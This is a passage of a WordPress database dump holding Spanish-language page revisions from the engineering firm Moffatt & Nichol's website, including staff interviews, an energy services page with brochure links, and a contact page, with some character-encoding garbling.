quiÃ©n emplea; por lo tanto, hay armonÃa entre el personal y una baja tasa de rotaciÃ³n de personal.\n\n<strong>Â¿QuÃ© es lo mÃ¡s interesante en que ha participado durante su trabajo con M&N?</strong>\nUna de las cosas mÃ¡s emocionantes que he hecho en Moffatt & Nichol fue un sobrevuelo que hice con un colega en un pequeÃ±o jet sobre la lÃnea costera del PacÃfico de MÃ©xico para identificar potenciales emplazamientos para una gran terminal marÃtima. El piloto era excelente para los descensos en picada.\n\n</p>','Ingrid, ingeniera profesional ','<p class=\"para-text\">\n<strong>Victor </strong>\nIngeniero portuario \n \nIngrid tiene mÃ¡s de 20 aÃ±os de experiencia y se especializa en el anÃ¡lisis y diseÃ±o estructural y en simulaciones operacionales. Generalmente trabaja en terminales marÃtimas y sus responsabilidades incluyen los estudios de localizaciÃ³n, el diseÃ±o estructural preliminar o detallado y los estudios de logÃstica, por mencionar solo algunos. </p>','inherit','open','open','','1569-revision','','','2011-12-25 10:03:52','2011-12-25 04:33:52','',1569,'http://moffattnichol.com/spanish/1569-revision/',0,'revision','',0),(2704,1,'2012-09-06 10:26:57','2012-09-06 10:26:57','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/IngridPE.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/IngridPE.jpg\" alt=\"\" title=\"Ingrid,PE\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1570\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Ingrid, ingeniera profesional </strong>\r\nIngeniera principal \r\n \r\nIngrid tiene más de 20 años de experiencia y se especializa en el análisis y diseño estructural y en simulaciones operacionales. Generalmente trabaja en terminales marítimas y sus responsabilidades incluyen los estudios de localización, el diseño estructural preliminar o detallado y los estudios de logística, por mencionar solo algunos. \r\n\r\n<strong>¿Cómo se han desarrollado sus funciones en los siete años que permanece con Moffatt & Nichol?</strong>\r\nEl reciente interés en instalaciones de gas natural licuado me ha dado la oportunidad de adquirir nuevas habilidades en operaciones y logística. Este trabajo, más mi formación en análisis, me ha permitido trabajar junto con ingenieros de otras oficinas de Moffatt & Nichol y participar en proyectos a lo largo y ancho de Estados Unidos. Estoy emocionada por las oficinas internacionales de la compañía, que espero me den también más oportunidades de participar en proyectos globales interesantes.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nTrabajar en proyectos difíciles y trabajar con colegas motivados y profesionales. Ahora estoy trabajando en un proyecto muy interesante que me da la oportunidad de trabajar con algunos ingenieros geotécnicos muy talentosos. También disfruto del trabajo de logística y modelación, porque puedo aplicar mi entrenamiento comercial y ayudar a nuestros clientes con sus decisiones de inversión de capital al inicio de la vida del proyecto.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nEn mi opinión, la cultura de Moffatt & Nichol acentúa lo que realmente importa: la importancia de hacer un buen trabajo y de producir un producto de calidad. Además, la firma es selectiva sobre a quién emplea; por lo tanto, hay armonía entre el personal y una baja tasa de rotación de personal.\r\n\r\n<strong>¿Qué es lo más interesante en que ha participado durante su trabajo con M&N?</strong>\r\nUna de las cosas más emocionantes que he hecho en Moffatt & Nichol fue un sobrevuelo que hice con un colega en un pequeño jet sobre la línea costera del Pacífico de México para identificar potenciales emplazamientos para una gran terminal marítima. El piloto era excelente para los descensos en picada.\r\n\r\n</p>','Ingrid, ingeniera profesional ','<p class=\"para-text\">\r\n<strong>Victor </strong>\r\nIngeniero portuario \r\n \r\nIngrid tiene mÃ¡s de 20 aÃ±os de experiencia y se especializa en el anÃ¡lisis y diseÃ±o estructural y en simulaciones operacionales. Generalmente trabaja en terminales marÃtimas y sus responsabilidades incluyen los estudios de localizaciÃ³n, el diseÃ±o estructural preliminar o detallado y los estudios de logÃstica, por mencionar solo algunos. </p>','inherit','open','open','','1569-autosave','','','2012-09-06 10:26:57','2012-09-06 10:26:57','',1569,'http://moffattnichol.com/spanish/1569-autosave/',0,'revision','',0),(2705,1,'2011-12-24 10:07:31','2011-12-24 04:37:31','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Julie.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Julie.jpg\" alt=\"\" title=\"Julie\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1573\" /></a>\n<p class=\"para-text\">\n<strong>Julie, AICP, CEP </strong>\nPlanificadora medioambiental \n \nJulie, una planificadora de Moffatt & Nichol, fue reconocida recientemente como una planificadora certificada por la American Planning Association. TambiÃ©n recibiÃ³ recientemente su certificaciÃ³n como profesional medioambiental de la Academy of Board Certified Environmental Professionals.\n\n<strong>Â¿En quÃ© tipo de proyectos trabaja?</strong>\nTrabajo en proyectos de la Agencia Nacional para la ProtecciÃ³n del Medioambiente tales como informes de impacto medioambiental, evaluaciones medioambientales y exclusiones categÃ³ricas, estudios de factibilidad e informes de concepto, anÃ¡lisis de fallas crÃticas, autorizaciones medioambientales estatales y federales, y polÃtica medioambiental internacional. Mi mayor experiencia es en temas de biologÃa, comunidad y salud, pero tambiÃ©n comprendo los fundamentos de economÃa, agua, ingenierÃa, recursos culturales/histÃ³ricos, aire, ruido y otros aspectos del proyecto, que me permiten realizar anÃ¡lisis integrales.\n\n<strong>Â¿CÃ³mo ha cambiado la compaÃ±Ãa desde que usted llegÃ³?</strong>\nEl personal de Moffatt & Nichol ha aumentado en mÃ¡s de 30% en los dos aÃ±os que trabajo aquÃ. Estamos creciendo en varias Ã¡reas especializadas y todos los niveles de personal participan para apoyar ese crecimiento, y es muy emocionante ser parte de eso. Incluso con todo el crecimiento, el ambiente de la compaÃ±Ãa ha permanecido sÃ³lido y estable. La compaÃ±Ãa ha manejado extraordinariamente bien el crecimiento informando y protegiendo a su personal y clientes durante los perÃodos de transiciÃ³n.\n\n<strong>Â¿QuÃ© es lo que le da mÃ¡s satisfacciÃ³n de su funciÃ³n?</strong>\nEncuentro gran satisfacciÃ³n en la diversidad de proyectos y en la flexibilidad para concentrarse en los problemas que pueden surgir. Trabajo en proyectos de planeamiento de transporte por carretera, preservaciÃ³n y restauraciÃ³n de humedales, polÃtica de gestiÃ³n de zonas costeras internacionales, estudios multiestatales de trenes de alta velocidad y otros a nivel local, estatal, nacional e internacional. TambiÃ©n debo aprender y desarrollarme constantemente en conceptos de vanguardia sobre planeamiento, incluyendo los requisitos LEED-ND [Liderazgo en EnergÃa y DiseÃ±o Medioambiental-Desarrollos de Vecindarios] y la capacitaciÃ³n en la evaluaciÃ³n de los impactos sobre la salud. Esto hace que el dÃa sea muy dinÃ¡mico y realmente no hay tiempo para aburrirse.\n</p>\n','Julie, AICP, CEP ','<p class=\"para-text\">\n<strong>Julie, AICP, CEP </strong>\nPlanificadora medioambiental \n \nJulie, una planificadora de Moffatt & Nichol, fue reconocida recientemente como una planificadora certificada por la American Planning Association. TambiÃ©n recibiÃ³ recientemente su certificaciÃ³n como profesional medioambiental de la Academy of Board Certified Environmental Professionals.</p>','inherit','open','open','','1572-revision','','','2011-12-24 10:07:31','2011-12-24 04:37:31','',1572,'http://moffattnichol.com/spanish/1572-revision/',0,'revision','',0),(2706,1,'2012-09-06 10:29:20','2012-09-06 10:29:20','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Julie.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Julie.jpg\" alt=\"\" title=\"Julie\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1573\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Julie, AICP, CEP </strong>\r\nPlanificadora medioambiental \r\n \r\nJulie, una planificadora de Moffatt & Nichol, fue reconocida recientemente como una planificadora certificada por la American Planning Association. También recibió recientemente su certificación como profesional medioambiental de la Academy of Board Certified Environmental Professionals.\r\n\r\n<strong>¿En qué tipo de proyectos trabaja?</strong>\r\nTrabajo en proyectos de la Agencia Nacional para la Protección del Medioambiente tales como informes de impacto medioambiental, evaluaciones medioambientales y exclusiones categóricas, estudios de factibilidad e informes de concepto, análisis de fallas críticas, autorizaciones medioambientales estatales y federales, y política medioambiental internacional. Mi mayor experiencia es en temas de biología, comunidad y salud, pero también comprendo los fundamentos de economía, agua, ingeniería, recursos culturales/históricos, aire, ruido y otros aspectos del proyecto, que me permiten realizar análisis integrales.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nEl personal de Moffatt & Nichol ha aumentado en más de 30% en los dos años que trabajo aquí. Estamos creciendo en varias áreas especializadas y todos los niveles de personal participan para apoyar ese crecimiento, y es muy emocionante ser parte de eso. Incluso con todo el crecimiento, el ambiente de la compañía ha permanecido sólido y estable. La compañía ha manejado extraordinariamente bien el crecimiento informando y protegiendo a su personal y clientes durante los períodos de transición.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nEncuentro gran satisfacción en la diversidad de proyectos y en la flexibilidad para concentrarse en los problemas que pueden surgir. Trabajo en proyectos de planeamiento de transporte por carretera, preservación y restauración de humedales, política de gestión de zonas costeras internacionales, estudios multiestatales de trenes de alta velocidad y otros a nivel local, estatal, nacional e internacional. También debo aprender y desarrollarme constantemente en conceptos de vanguardia sobre planeamiento, incluyendo los requisitos LEED-ND [Liderazgo en Energía y Diseño Medioambiental-Desarrollos de Vecindarios] y la capacitación en la evaluación de los impactos sobre la salud. Esto hace que el día sea muy dinámico y realmente no hay tiempo para aburrirse.\r\n</p>\r\n','Julie, AICP, CEP ','<p class=\"para-text\">\r\n<strong>Julie, AICP, CEP </strong>\r\nPlanificadora medioambiental \r\n \r\nJulie, una planificadora de Moffatt & Nichol, fue reconocida recientemente como una planificadora certificada por la American Planning Association. TambiÃ©n recibiÃ³ recientemente su certificaciÃ³n como profesional medioambiental de la Academy of Board Certified Environmental Professionals.</p>','inherit','open','open','','1572-autosave','','','2012-09-06 10:29:20','2012-09-06 10:29:20','',1572,'http://moffattnichol.com/spanish/1572-autosave/',0,'revision','',0),(2707,1,'2012-09-03 06:08:40','2012-09-03 06:08:40','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n  <h3>energía</h3> Como las economías y las políticas medioambientales cambian y se modifican en todo el mundo, el sector de energía debe adaptarse. Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas, desde muelles y dársenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga líquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguación, las estructuras dinámicas y la modelación de cimentaciones, para colaborar con clientes en afrontar los desafíos de proyectos de energía convencional y renovable—desde la infraestructura civil necesaria para la generación de energía convencional hasta el planeamiento y diseño de fuentes más innovadoras tales como el almacenamiento de energía eólica costa afuera, la energía hidrocinética y la energía eólica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energía >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marítimas de petróleo y gas	</strong><br />\r\n        Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÍA EÓLICA</strong><br />\r\n        Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eólicos costa afuera, incluyendo generadores de turbina eólica (WTG, por sus siglas en inglés)</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingeniería marítima/costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÓN DE PROGRAMA DE PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÓLICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés)</strong><br />\r\n        ¿Qué es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnología de compresor/expansor GCAES™ • Con base en la costa • Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Energía','','inherit','open','open','','60-revision-11','','','2012-09-03 06:08:40','2012-09-03 06:08:40','',60,'http://moffattnichol.com/spanish/60-revision-11/',0,'revision','',0),(2708,1,'2012-06-15 04:37:17','2012-06-15 04:37:17','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contáctenos</h1>\r\n            Si desea información sobre nuestros mercados y áreas de especialización, complete el formulario y un representante de Moffatt & Nichol se pondrá en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\">nuestras oficinas</a> para ponerse en contacto con alguien en su área.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Únase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\">página de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer más sobre nuestras oportunidades para pequeñas empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\">página de participación de pequeñas empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Contáctenos','','inherit','open','open','','16-revision-10','','','2012-06-15 04:37:17','2012-06-15 04:37:17','',16,'http://moffattnichol.com/spanish/16-revision-10/',0,'revision','',0),(2709,1,'2012-09-06 13:00:13','2012-09-06 13:00:13','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contáctenos</h1>\r\n            Si desea información sobre nuestros mercados y áreas de especialización, complete el formulario y un representante de Moffatt & Nichol se pondrá en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\">nuestras oficinas</a> para ponerse en contacto con alguien en su área.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Únase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\">página de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer más sobre nuestras oportunidades para pequeñas empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\">página de participación de pequeñas empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Contáctenos','','inherit','open','open','','16-revision-11','','','2012-09-06 13:00:13','2012-09-06 13:00:13','',16,'http://moffattnichol.com/spanish/16-revision-11/',0,'revision','',0),(2710,1,'2012-09-06 13:26:56','2012-09-06 13:26:56','','ocean-wind-power','','inherit','open','open','','ocean-wind-power','','','2012-09-06 13:26:56','2012-09-06 13:26:56','',537,'http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg',0,'attachment','image/jpeg',0),(2711,1,'2012-06-15 08:40:02','2012-06-15 08:40:02','<div class=\"content_faq\">\r\n  <h3>servicios de energía</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">terminales de carga líquida a granel </h1>\r\n     Las instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt & Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">Terminales de GNL</h1>\r\n     Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas. La firma ofrece una gama completa de servicios de consultoría de ingeniería para el diseño y la gestión de la construcción para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y científicos han participado en casi todos los aspectos del planeamiento y la ingeniería de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingeniería FEED hasta el análisis de tráfico de buques, el dragado y el diseño estructural. Hemos proporcionado estos servicios en más de veinte importantes proyectos de GNL en Asia, África, Canadá, México y los Estados Unidos, en algunos de los ambientes marinos más difíciles del mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">Energía eólica costa afuera</h1>\r\n   Moffatt & Nichol está posicionado en forma singular para ayudar a sus clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingeniería costera, ingeniería estructural y cimentaciones, planeamiento de construcción marítima y desarrollo de instalaciones marítimas, con nuestros servicios de evaluación económica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energía eólica debe enfrentar varios desafíos para desarrollar códigos y estándares de diseño que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt & Nichol, un líder reconocido internacionalmente en ingeniería costera y marítima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseño que producirán instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selección del lugar, hasta el diseño, planeamiento de la construcción y apoyo en las operaciones. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n     <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">Almacenamiento de energía del océano</h1>\r\n   Moffatt & Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, está desarrollando un sistema para el almacenamiento económico de energía a escala de la red eléctrica.  La tecnología de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés) utiliza la presión de aguas profundas del océano para evitar la necesidad de un costoso recipiente de presión.  Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del océano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m).  Una tubería conecta el receptor de aire con los módulos de expansión/compresión en tierra. Los módulos propietarios de expansión/compresión desarrollados por General Compression representan un logro tecnológico importante que tiene el potencial de revolucionar el almacenamiento de energía a escala de la red eléctrica.  GC está respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnología. El equipo de GC ha sido designado para obtener energía eólica y hacerla disponible.\r\n\r\nLos beneficios principales del sistema incluyen:\r\n\r\n•	Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparación con las baterías que usualmente cuestan de cuatro a diez veces más •	Puede proporcionar en forma económica 100 horas o más de capacidad de almacenamiento •	Puede aumentar el factor de carga para un parque eólico típico desde 35% hasta más de 90%, de forma muy económica •	La eficiencia total es de 75-80% •	Capacidad de arranque en negro •	Arranque muy rápido, con la capacidad de cambiar rápidamente entre expansión y compresión, prácticamente eliminando la necesidad de “energía de reserva de respuesta rápida” •	Larga vida útil con mantenimiento mínimo\r\n\r\n      